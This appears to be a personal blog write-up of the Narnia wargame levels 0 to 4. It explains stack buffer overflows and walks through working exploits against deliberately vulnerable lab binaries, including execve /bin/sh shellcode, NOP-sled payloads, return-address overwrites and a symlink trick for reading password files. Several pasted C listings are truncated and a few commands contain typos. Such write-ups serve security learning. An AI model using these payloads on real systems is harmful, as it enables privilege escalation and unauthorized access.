Smashing the Stack for Fun or WarGames - Narnia 0-4

One of my mentors, Joel Eriksson, suggested the quintessential WarGames, a collection of Security problems, divided into 14 interesting titles. I have been playing the games since last week and they are awesome! To play the WarGames you SSH to their servers with a login that indicates your current level. The purpose of the game is to solve the current level's challenge to find the password for the next level.

Today I am talking about the first five levels of Narnia, which is all about buffer overflow and inputs with no bounds checking.

You will see that this war is not so bad when you know your weapons.

Disclaimer: if you haven't played WarGames but you are planing to, PLEASE DON'T READY ANY FURTHER. If you don't try to solve the problems by yourself first, you will be wasting your time.

How Stack Exploitation Works: A Crash Course

A Process' Virtual Memory

When a program starts a process, the OS kernel provides it a piece of physical memory. However, all that the process sees is the virtual memory space and its size and starting address. Each time a process wants to read or write to physical memory, its request must be translated from a virtual memory address to a physical memory address.

I like Peter Jay Salzman's picture showing the process' virtual memory in terms of its address.

The text and data segments are the places where the program puts the code and the static data (e.g., global variables). This region is normally marked read-only and any attempt to write to it will result in a segmentation violation.

Notice that arguments and environment variables get a special place in the top of the Stack (higher address).

Although the Heap can be also fun to play with, for the purpose of these games, we will concentrate in the Stack. Remember, the direction of which the Stack grows is system-dependent.

What's the Stack

A Stack is an abstract data type that has the property that the last object placed will be the first object removed. This is also known as last-in/first-out queue or LIFO.Two of the most important operations in a Stack are push and pop.

You can think of a stack of books: the only way to reach the book in the bottom (the first book that was pushed) is by popping every book on the top. To learn how to write a Stack in Python, take a look at my notes on Python & Algorithms. I also made the source code available: here are some examples.

The memory Stack frame is a collection of (stack) frames. Every time a process calls a function, it alters the flow of control. In this case, a new frame needs to be added and the Stack grows downward (lower memory address).

If you think about it, a Stack is the perfect object for a process: the process can push a function (its arguments, code, etc.) into the Stack, then, in the end, it pops everything, back to where it started.

Buffer Overflows in the Stack

Buffer overflows happen when we give a buffer more information than it is meant to hold. For example, the standard C library has several functions for copying or appending strings with no bounds checking: strcat(), strcpy(), sprintf(), vsprintf(), gets(), and scanf(). These functions can easily overflow a buffer if there the input is not validated first.

To better understand this subject, I recommend the classic Smashing the Stack for Fun or Profit from Aleph One , which was published in 1996 in the Phrack magazine number 49.

Assembly and the Stack Registers

Registers are small memory storage areas built into the CPU. When the process enters the Stack, a register called the Stack pointer (esp) points to the top of the Stack (lowest memory address). The bottom of the Stack (higher memory address) is at a fixed address (adjusted by the kernel at run time). The CPU will implement instructions to push onto and pop stuff of the Stack.

In Assembly code this looks like:

pushl %ebp
movl %esp,%ebp
subl $20,%esp

The two first lines are the prologue. In the first line of this code, the (old) frame pointer (ebp) is pushed onto the top of the Stack (lowest memory). Then, the current esp is copied into the stack frame base pointer (ebp), making it the new frame pointer. In the last line, the space is allocated for the local variables, subtracting their size from esp (remember that memory can only be addressed in multiples of the word size, for example 4 bytes, or 32 bits).

After this point, the Assembly code will show each operation step in the program. We will learn more about this during the challenges. It's a good skill to understand the basics of Assembly, but this is outside the context of this review. Check out this nice Assembly guide if you need to. Also, this cheat sheet is awesome.

Ah, by the way, you can look to the Assembly output in a C program by using the flag -S:

$ gcc -S -o example1.s example1.c

Narnia's WarGame

The Scenario

In each of Narnia's levels we are able to run a binary and read its C code. The objective is to figure out from the code what vulnerability can be used to allow us to read the password of the next level (located in a folder under /etc in the server).

Your Weapons

Memory and Exploits Representation

When it comes to memory addresses, it's fundamental to understand hexadecimal representation. You can print an HEX into ASCII with Python:

$ python -c 'print "\x41"'

Remember that Narnia's severs are x86, so they have little-endian representation. This means that an address 0xffffd546 is actually written as \x46\xd5\xff\xff.

Most of the exploit we deliver in Narnia are in form of input strings. Python with the flag, -c, is really handy to craft what we need:

$ python -c 'print "A"*20'

Environment Variables

If you look to the picture above, you see that the system environment variables are available within the Stack. This can be useful to some exploits, where we can use these variables to import payloads.

To define an environment variable we use export. To print its value, you can use echo or env:

$ EGG="0X41414141"
$ echo $EGG
$ export EGG
$ env | grep EGG

To understand more about environments variables in exploits, take a look into my Shellshock guide.

Shell Commands

The shell commands that are useful for these problems are:

  • readelf: Displays information about ELF files (the binaries). For example, a detail that will be important soon is the fact that, in Narnia, the Stack is executable. This means that we can place shellcode within it. To check whether the Stack is executable see if the following output has the flag E:
narnia1@melinda:/narnia$ readelf -a narnia1 | grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
  • xxd: Creates a hex dump of a given file or standard input. It can also convert a hex dump back to its original binary form.

  • whoami: Shows the current user, good to see whether the exploit worked!

gdb and objdump

In most of the problems in Narnia, it's fundamental do understand how to debug the binary with gdb.

To learn more about gdb, you might want to check this very introductory guide or this comprehensive guide. However, in any problem in Narnia these steps are enough:

  • To start a gdb instance: gdb -q <EXECUTABLE>.
  • To get the Assembly code we use the disassemble command. Constants are prefixed with a $ and registers with a %:
(gdb) set disassembly-flavor intel
(gdb) disas main
  • To set breakpoints to the address to inspect, based on the values from the output above:
(gdb) b *main+<SOME NUMBER>
  • To run the program: (gdb) r. We also can use c to continue to run it after breakpoint. We can use n for next program line. We can print things using p.

  • To examine some memory address, we can use (gdb) x/nfu A, where A is the address (e.g., `$esp), n is the number of units to print, f is the format character, and u is the unit.

  • To examine the Stack frame: (gdb) i f. We can also look at the Stack by using bt (backtrace).

  • When you start using gdb frequently, it's useful to have a file with starting commands. For example:

$ gdb <program name> -x <command file>


$ cat command.txt
set disassembly-flavor intel
disas main

Or you can have a nice .gdbinit setup with lines such as:

set disassembly-flavor intel
set follow-fork-mode child

As a note, there are other disassembles that you might want to try instead of gdb:

Level 0: Classic Stack Overflow to rewrite a Variable

Step 1: Understanding the Problem

The first level starts with:

narnia0@melinda:/narnia$ cat narnia0.c

#include <stdio.h>
#include <stdlib.h>

int main(){
  long val=0x41414141;
  char buf[20];

  printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
  printf("Here is your chance: ");

  printf("buf: %s\n",buf);
  printf("val: 0x%08x\n",val);

  else {
    printf("WAY OFF!!!!\n");

  return 0;

The program receives an input from the user and save it in a buffer variable of size 20. Then, it checks if the val is equal to a different value of what it was declared:


Since val obviously didn't change anywhere in the program, nothing happens and the program exits normally.

However, if somehow we could change the value of val to 0xdeadbeef, the program will give us a privileged shell!

Let's think about the memory Stack. Just like in a pile of books, the local variables are pushed in the order that they are created. In the case above, val is pushed before buf, so val is in a higher memory address:

  long val=0x41414141;
  char buf[20];

What happens if the input is larger than 20 bytes? In this case, there is no bounds checking and the input overflows the variable buf, occupying the following space in the Stack: val. This is a classical case of Stack Overflow!

Step 2: Visualizing the Overflow

The plan is to overflow buf with 20+4 bytes, so that the last four bytes overwrites val with 0xdeadbeef.

Let's see how val is filled when we overflow byte by byte:

narnia0@melinda:/narnia$ python -c 'print "B"*24'

narnia0@melinda:/narnia$ (python -c 'print "B"*19') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBB
val: 0x41414141

narnia0@melinda:/narnia$ (python -c 'print "B"*20') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBB
val: 0x41414100

narnia0@melinda:/narnia$ (python -c 'print "B"*21') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBB
val: 0x41410042

narnia0@melinda:/narnia$ (python -c 'print "B"*22') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBBB
val: 0x41004242

narnia0@melinda:/narnia$ (python -c 'print "B"*23') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBBBB
val: 0x00424242

narnia0@melinda:/narnia$ (python -c 'print "B"*24') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBBBBB
val: 0x42424242

Step 3: Crafting the Exploit

Now we know that val starts to overflow in the 20th byte. All we need to do is to add deadbeef in the last four bytes.

However, we need to write this in hexadecimal form:

narnia0@melinda:/narnia$ python -c'print "A"*20 + "\xef\xbe\xad\xde"'
narnia0@melinda:/narnia$ (python -c'print "A"*20 + "\xef\xbe\xad\xde"') | ./narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ
val: 0xdeadbeef

Yay, the exploit worked!

Step 4: Getting Access to the Shell

We were able to get access to our shell, but it closed too fast, when the program execution ended.

We need to create a way to read the password before we loose the control to the shell. A good way is pipelining some command that waits for an input, such as tail or cat.

It turns out that only cat actually prints the output:

narnia0@melinda:/narnia$ (python -c'print "A"*20 + "\xef\xbe\xad\xde"'; cat) | /narnia/narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ
val: 0xdeadbeef
cat /etc/narnia_pass/narnia1

Done! We have completed the 0th level!

Step 5: Debugging it!

Although this problem was easy enough so we didn't need to debug anything, it's a good call to understand the process while the challenge is easy:

narnia0@melinda:/narnia$ gdb ./narnia0
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x080484c4 <+0>: push   ebp
   0x080484c5 <+1>: mov    ebp,esp
   0x080484c7 <+3>: and    esp,0xfffffff0
   0x080484ca <+6>: sub    esp,0x30
   0x080484cd <+9>: mov    DWORD PTR [esp+0x2c],0x41414141
   0x080484d5 <+17>:  mov    DWORD PTR [esp],0x8048640
   0x080484dc <+24>:  call   0x80483b0 <puts@plt>
   0x080484e1 <+29>:  mov    eax,0x8048673
   0x080484e6 <+34>:  mov    DWORD PTR [esp],eax
   0x080484e9 <+37>:  call   0x80483a0 <printf@plt>
   0x080484ee <+42>:  mov    eax,0x8048689
   0x080484f3 <+47>:  lea    edx,[esp+0x18]
   0x080484f7 <+51>:  mov    DWORD PTR [esp+0x4],edx
   0x080484fb <+55>:  mov    DWORD PTR [esp],eax
   0x080484fe <+58>:  call   0x8048400 <__isoc99_scanf@plt>
   0x08048503 <+63>:  mov    eax,0x804868e
   0x08048508 <+68>:  lea    edx,[esp+0x18]
   0x0804850c <+72>:  mov    DWORD PTR [esp+0x4],edx
End of assembler dump.

Let's put a break point right after scanf:

(gdb) b *main+63
Breakpoint 1 at 0x8048503

We run the debugged program with 20 Bs (\x42) as the input. It stops in the address above, right after scanf:

(gdb) r
Starting program: /games/narnia/narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance:

Breakpoint 1, 0x08048503 in main ()

Now we examine the memory in, say, 12 counts:

(gdb) x/12xw $esp
0xffffd6a0: 0x08048689  0xffffd6b8  0x08049ff4  0x08048591
0xffffd6b0: 0xffffffff  0xf7e59d46  0x42424242  0x42424242
0xffffd6c0: 0x42424242  0x42424242  0x42424242  0x41414100

The variable buf is in the 7-11th entries (0x42424242). Right after that is val (which we know is still 0x41414141). Wait, do you see the two zeros in 0x41414100? This is the space in the end of buf

Finally, we test with 20 Bs + 4 Cs and confirm that our exploit works:

(gdb) x/12xw $esp
0xffffd6a0: 0x08048689  0xffffd6b8  0x08049ff4  0x08048591
0xffffd6b0: 0xffffffff  0xf7e59d46  0x42424242  0x42424242
0xffffd6c0: 0x42424242  0x42424242  0x42424242  0x43434343

Level 1: Stack Overflow with Environment Variables

Step 1: Understanding the Problem

The second level starts with:

narnia1@melinda:/narnia$ ./narnia1
Give me something to execute at the env-variable EGG

narnia1@melinda:/narnia$ cat narnia1.c
#include <stdio.h>

int main(){
  int (*ret)();

    printf("Give me something to execute at the env-variable EGG\n");

  printf("Trying to execute EGG!\n");
  ret = getenv("EGG");

  return 0;

The program searches for an environment variable EGG and then it exits if this variable doesn't exist. If it does, EGG's value is passed as a function. Really secure.

Step 1: Creating an Environment Variable with our Exploit

The most obvious option for an exploit is to spawn a privileged shell, so that we can read the next level's password.

Let's suppose we don't know that we need to write the exploit in memory language. We could try this:

narnia1@melinda:/narnia$ export EGG="/bin/ls"
narnia1@melinda:/narnia$ echo $EGG
narnia1@melinda:/narnia$ ./narnia1
Trying to execute EGG!
Segmentation fault


We actually need to create a hexadecimal command to export to EGG. We do this in Assembly and all the information we need is in the Appendix A from Aleph One's paper. This allows us to write the following:

narnia1@melinda:/tmp$ vi shellspawn.asm
xor eax, eax        ; make eax equal to 0
push eax            ; pushes null
push 0x68732f2f     ; pushes /sh (//)
push 0x6e69622f     ; pushes /bin
mov ebx, esp        ; passes the first argument
push eax            ; empty third argument
mov edx, esp        ; passes the third argument
push eax            ; empty second argument
mov ecx, esp        ; passes the second argument
mov al, 11          ; execve system call #11
int 0x80            ; makes  an interrupt


narnia1@melinda:/tmp$ nasm shellspawn.asm
narnia1@melinda:/tmp$ ls
shellspawn  shellspawn.asm
narnia1@melinda:/tmp$ cat shellspawn

Exporting it to EGG:

narnia1@melinda:/tmp$ export EGG=$(cat shellspawn)

We are ready to exploit the binary:

narnia1@melinda:/tmp$ /narnia/narnia1
Trying to execute EGG!
$ whoami

Step 4: Convert it to Hexadecimal

It's really useful to have a hexadecimal form of our exploit (as we will see in the next levels) so we will use xxd to read it:

narnia5@melinda:/tmp$ xxd shellspawn
0000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e350  1.Ph//shh/bin..P
0000010: 89e2 5089 e1b0 0bcd 80                   ..P......

Awesome! We can go ahead and test it:

narnia1@melinda:/tmp$ export EGG=`python -c'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80"'`
narnia1@melinda:/tmp$ /narnia/narnia1
Trying to execute EGG!
$ whoami

Level 2: Stack Overflow to the Return Address

Step 1: Understanding the Problem:

The third level starts with:

narnia2@melinda:/narnia$ ./narnia2
Usage: ./narnia2 argument
narnia2@melinda:/narnia$ cat narnia2.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
  char buf[128];

  if(argc == 1){
    printf("Usage: %s argument\n", argv[0]);
  printf("%s", buf);

  return 0;

This function copies an input string to a buf, using strcpy() (instead of safer strncpy()). Since there is no bounds checking, buf overflows to the higher address in the Stack if the input is larger than 128 bytes.

In this problem we will use overflow to take control of the return address of the main function, which is right after buf. We will overwrite this to any address we want, for example to the address of a beautiful crafted exploit.

Step 2: Finding the Frame Size

To find where the returning address of this function is located, we use gdb:

narnia2@melinda:/narnia$ gdb ./narnia2
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x08048424 <+0>: push   ebp
   0x08048425 <+1>: mov    ebp,esp
   0x08048427 <+3>: and    esp,0xfffffff0
   0x0804842a <+6>: sub    esp,0x90
   0x08048430 <+12>:  cmp    DWORD PTR [ebp+0x8],0x1
   0x08048434 <+16>:  jne    0x8048458 <main+52>
   0x08048436 <+18>:  mov    eax,DWORD PTR [ebp+0xc]
   0x08048439 <+21>:  mov    edx,DWORD PTR [eax]
   0x0804843b <+23>:  mov    eax,0x8048560
   0x08048440 <+28>:  mov    DWORD PTR [esp+0x4],edx
   0x08048444 <+32>:  mov    DWORD PTR [esp],eax
   0x08048447 <+35>:  call   0x8048320 <printf@plt>
   0x0804844c <+40>:  mov    DWORD PTR [esp],0x1
   0x08048453 <+47>:  call   0x8048350 <exit@plt>
   0x08048458 <+52>:  mov    eax,DWORD PTR [ebp+0xc]
   0x0804845b <+55>:  add    eax,0x4
   0x0804845e <+58>:  mov    eax,DWORD PTR [eax]
   0x08048460 <+60>:  mov    DWORD PTR [esp+0x4],eax
   0x08048464 <+64>:  lea    eax,[esp+0x10]
   0x08048468 <+68>:  mov    DWORD PTR [esp],eax
   0x0804846b <+71>:  call   0x8048330 <strcpy@plt>
   0x08048470 <+76>:  mov    eax,0x8048574
   0x08048475 <+81>:  lea    edx,[esp+0x10]
   0x08048479 <+85>:  mov    DWORD PTR [esp+0x4],edx
   0x0804847d <+89>:  mov    DWORD PTR [esp],eax
   0x08048480 <+92>:  call   0x8048320 <printf@plt>
   0x08048485 <+97>:  mov    eax,0x0
   0x0804848a <+102>: leave
   0x0804848b <+103>: ret
End of assembler dump.

We create a break point right before the exit:

(gdb) b *main+97
Breakpoint 1 at 0x8048485

We run our program, feeding it with an argument of size 30 and we look to the memory (esp is the Stack pointer). The second value, 0xffffd610, indicates the start of the frame:

(gdb) r `python -c 'print "B"*30'`
(gdb)  x/30xw $esp
0xffffd600: 0x08048574  0xffffd610  0x00000001  0xf7ebf729
0xffffd610: 0x42424242  0x42424242  0x42424242  0x42424242
0xffffd620: 0x42424242  0x42424242  0x42424242  0xf7004242
0xffffd630: 0x08048258  0x00000000  0x00ca0000  0x00000001
0xffffd640: 0xffffd86d  0x0000002f  0xffffd69c  0xf7fcaff4
0xffffd650: 0x08048490  0x08049750  0x00000002  0x080482fd
0xffffd660: 0xf7fcb3e4  0x00008000  0x08049750  0x080484b1
0xffffd670: 0xffffffff  0xf7e59d46

Now, looking to the information about the frame, we get the return address at 0xffffd69c:

(gdb) i f
Stack level 0, frame at 0xffffd6a0:
 eip = 0x8048485 in main; saved eip 0xf7e404b3
 Arglist at 0xffffd698, args:
 Locals at 0xffffd698, Previous frame's sp is 0xffffd6a0
 Saved registers:
  ebp at 0xffffd698, eip at 0xffffd69c

To find the size of the frame we subtract these values:

(gdb) p 0xffffd69c-0xffffd610
$1 = 140

So we know that 140 bytes are needed to reach the return address, where we will add our pointer.

Step 3: Finding the EGG ShellCode Address

Where do we want to point the return address to? Well, we already know a way to spawn a shell: using an environment variable:

narnia2@melinda:/tmp$ export EGG=`python -c'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80"'

To find the address of EGG we use the following C code:

narnia2@melinda:/tmp$ cat getbashadd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc,char *argv[]){
        char *ptr;
        ptr = getenv(argv[1]);
        ptr += (strlen(argv[0])-strlen(argv[2]))*2;
        printf("%s is at %p\n", argv[1],ptr);
        return 0;

Running it gives:

narnia2@melinda:/tmp$ ./getshadd EGG /narnia/narnia2
EGG will be at 0xffffd945

Step 4: Running the Exploit!

Now all we need to do is to run the binary with 140 bytes of junk plus the address that we want to point the return address to:

narnia2@melinda:/tmp/ya2$ /narnia/narnia2 `python -c 'print "A"*140 + "\x45\xd9\xff\xff"'`
$ whoami

Level 3: Stack Overflow, Files, and Symbolic Links

Step 1: Understanding the Problem

The fourth level starts with:

narnia3@melinda:/narnia$ ./narnia3
usage, ./narnia3 file, will send contents of file 2 /dev/null
narnia3@melinda:/narnia$ cat narnia3.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){

        int  ifd,  ofd;
        char ofile[16] = "/dev/null";
        char ifile[32];
        char buf[32];

        if(argc != 2){
                printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);

        /* open files */
        strcpy(ifile, argv[1]);
        if((ofd = open(ofile,O_RDWR)) < 0 ){
                printf("error opening %s\n", ofile);
        if((ifd = open(ifile, O_RDONLY)) < 0 ){
                printf("error opening %s\n", ifile);

        /* copy from file1 to file2 */
        read(ifd, buf, sizeof(buf)-1);
        write(ofd,buf, sizeof(buf)-1);
        printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

        /* close 'em */


This program receives a file name as input, and then copies the content of this file to a second file pointing to /dev/null.

What is particularly interesting to us is the order that the variables are declared:

char ofile[16] = "/dev/null";
char ifile[32];

Step 2: Understanding what is going on in the Memory

Let's debug this binary to see how we can exploit it. First with a simple 3-bytes input:

(gdb) set args "`python -c 'print "a"*3'`"
(gdb) r
Starting program: /games/narnia/narnia3 "`python -c 'print "a"*3'`"
error opening aaa

OK, it makes sense, there is no such file. Now let's try the size of ifile:

(gdb) set args "`python -c 'print "a"*32'`"
(gdb) r
Starting program: /games/narnia/narnia3 "`python -c 'print "a"*32'`"
error opening

Mmm, interesting. It does not input any name. Let's try one byte less:

(gdb) set args "`python -c 'print "a"*31'`"
(gdb) r
Starting program: /games/narnia/narnia3 "`python -c 'print "a"*31'`"
error opening aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

The previous example showed the first byte after overflowing ifile. This last example ends in the last possible byte in the array. Once we overflow ifile, it skips the checking, going straight to check whether ofile is a valid name. Awesome!

Step 3: Writing and Applying the Exploit

We want two things happening in ifile: first, to read the password file, then to overflows ofile, making it to point to a file we have access to read.

The best way to put all of this in one input name is creating a symbolic link with the following rules:

  1. Point to /etc/narnia_pass/narnia4.
  2. Fill the 32 bytes of the ifile array with junk.
  3. End with a some file name which we had created before, and we have permission to read (we can just use touch to create an empty file).

The result, for a file name out, is:

$ ln -s /etc/narnia_pass/narnia4 $(python -c "print 'A'*32 + 'out'")

Now we can just run it and retrieve our password:

narnia3@melinda:/tmp$ /narnia/narnia3 `python -c "print 'A'*32 + 'out'"`copied contents of AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAout to a safer place... (out)
narnia3@melinda:/tmp$ cat out

Level 4: Classic Buffer Overflow with NOP

Step 1: Understanding the Problem

This fifth level starts with:

narnia4@melinda:/narnia$ ./narnia4
narnia4@melinda:/narnia$ cat narnia4.c

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
  int i;
  char buffer[256];

  for(i = 0; environ[i] != NULL; i++)
    memset(environ[i], '\0', strlen(environ[i]));


  return 0;

This binary does three things: first, it creates a buffer array of size 256, then it makes all of the system environment variables equal to zero, and then it copies whatever user input it had to the buffer.

The reason why this code clears the environment variables is to avoid the possibility of us placing a shellcode exploit to them (like we did in the Level 2).

Step 2: Outlining the Attack

To exploit this binary we are going to overwrite our return address like in level 2, but this time we can't use an external address to point to. However, since our Stack is executable, we can place the shellcode in the Stack. The steps we follow are:

  1. Find out the size of the Stack. Just having the return address won't help since we can't point it to anywhere outside the code.
  2. Create a shellcode with the return address minus some value we define so that the return address points to somewhere inside the Stack.
  3. Fill the beginning of the Stack with a lots of NOPs (No Operations, used to pad/align bytes or to delay time), which in the x86 CPU family is represented with 0x90. If the pointer hits these places, it just keeps advancing until it finds our shell.
  4. To make everything fit right in the Stack frame, we pad the end of the shell code with junk. .

Step 3: Getting the Frame Size

With gdb we can extract the relevant memory locations. Let's run our program with an input of the size of the buffer. Here we use the flag --args because otherwise we will get an error that the name is too long:

narnia4@melinda:/narnia$ gdb --args  narnia4 `python -c "print 'A'*256"`
Reading symbols from /games/narnia/narnia4...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x08048444 <+0>: push   ebp
   0x08048445 <+1>: mov    ebp,esp
   0x08048447 <+3>: push   edi
   0x08048448 <+4>: and    esp,0xfffffff0
   0x0804844b <+7>: sub    esp,0x130
   0x080484f0 <+172>: call   0x8048350 <strcpy@plt>
   0x080484f5 <+177>: mov    eax,0x0
   0x080484fa <+182>: mov    edi,DWORD PTR [ebp-0x4]
   0x080484fd <+185>: leave
   0x080484fe <+186>: ret
End of assembler dump.

We put a breakpoint right before the Stack ends:

(gdb) b *main+182
Breakpoint 1 at 0x80484fa


(gdb) r

We see that the frame starts at 0xffffd4cc:

(gdb) x/90xw $esp
0xffffd4a0: 0xffffd4cc  0xffffd7be  0x00000021  0xf7ff7d54
0xffffd4b0: 0xf7e2ae38  0x00000000  0x00000026  0xffffffff
0xffffd4c0: 0x00000000  0x00000000  0x00000001  0x41414141
0xffffd4d0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd4e0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd4f0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd500: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd510: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd520: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd530: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd540: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd550: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd560: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd570: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd580: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd590: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd5a0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd5b0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd5c0: 0x41414141  0x41414141  0x41414141  0x00000000
0xffffd5d0: 0x08048500  0x00000000  0x00000000  0xf7e404b3
0xffffd5e0: 0x00000002  0xffffd674  0xffffd680  0xf7fcf000
0xffffd5f0: 0x00000000  0xffffd61c  0xffffd680  0x00000000
0xffffd600: 0x0804824c  0xf7fcaff4

Taking a look at the information of the frame gives us the return address, from which we find the size of the Stack:

(gdb) i f
Stack level 0, frame at 0xffffd5e0:
 eip = 0x80484fa in main; saved eip 0xf7e404b3
 Arglist at 0xffffd5d8, args:
 Locals at 0xffffd5d8, Previous frame's sp is 0xffffd5e0
 Saved registers:
  ebp at 0xffffd5d8, edi at 0xffffd5d4, eip at 0xffffd5dc
(gdb) p 0xffffd5dc-0xffffd4cc
$1 = 272

Step 4: Writing and Applying the Exploit

We know that the Stack has size of 272 bytes and that the return address is 0xffffd5dc. If we add the return address, it sums to 276.

Now we have some freedom to choose where to place our shellcode. Let's say, we place it somewhere in the middle, say, at the position 134. In the memory, we get: 0xffffd5cc - 134 = 0xffffd546.

Since 276 minus 134 is 142, if we point the return address to 0xffffd546, it will go to the 142th position in the Stack and execute whatever is there. We want to make sure that the return address will always end in the shellcode address and for this reason we fill the addresses around with NOPs.

We will borrow the shellcode from the previous levels, which has size of 25 bytes:


Considering the values above, we can write the following exploit:

`python -c "print '\x90'*142 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80' + 'A'*105 + '\x46\xd5\xff\xff'"`

We could have used another address to craft another version of the exploit. Then we would have to simply adjust our NOPs and our paddings. For example, 0xffffd5cc - 120 = 0xffffd554:

`print -c "'\x90'*156 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80' + 'A'*91 + '\x54\xd5\xff\xff'" `

They both work.

We finally apply our exploit:

narnia4@melinda:/tmp$ python -c "print '\x90'*156 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80' + 'A'*91 + '\x54\xd5\xff\xff'"
narnia4@melinda:/tmp$ /narnia/narnia4 `python -c "print '\x90'*156 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80' + 'A'*91 + '\x54\xd5\xff\xff'"`
$ whoami

All right, we have completed half of the challenges from Narnia. Soon I will post the other half.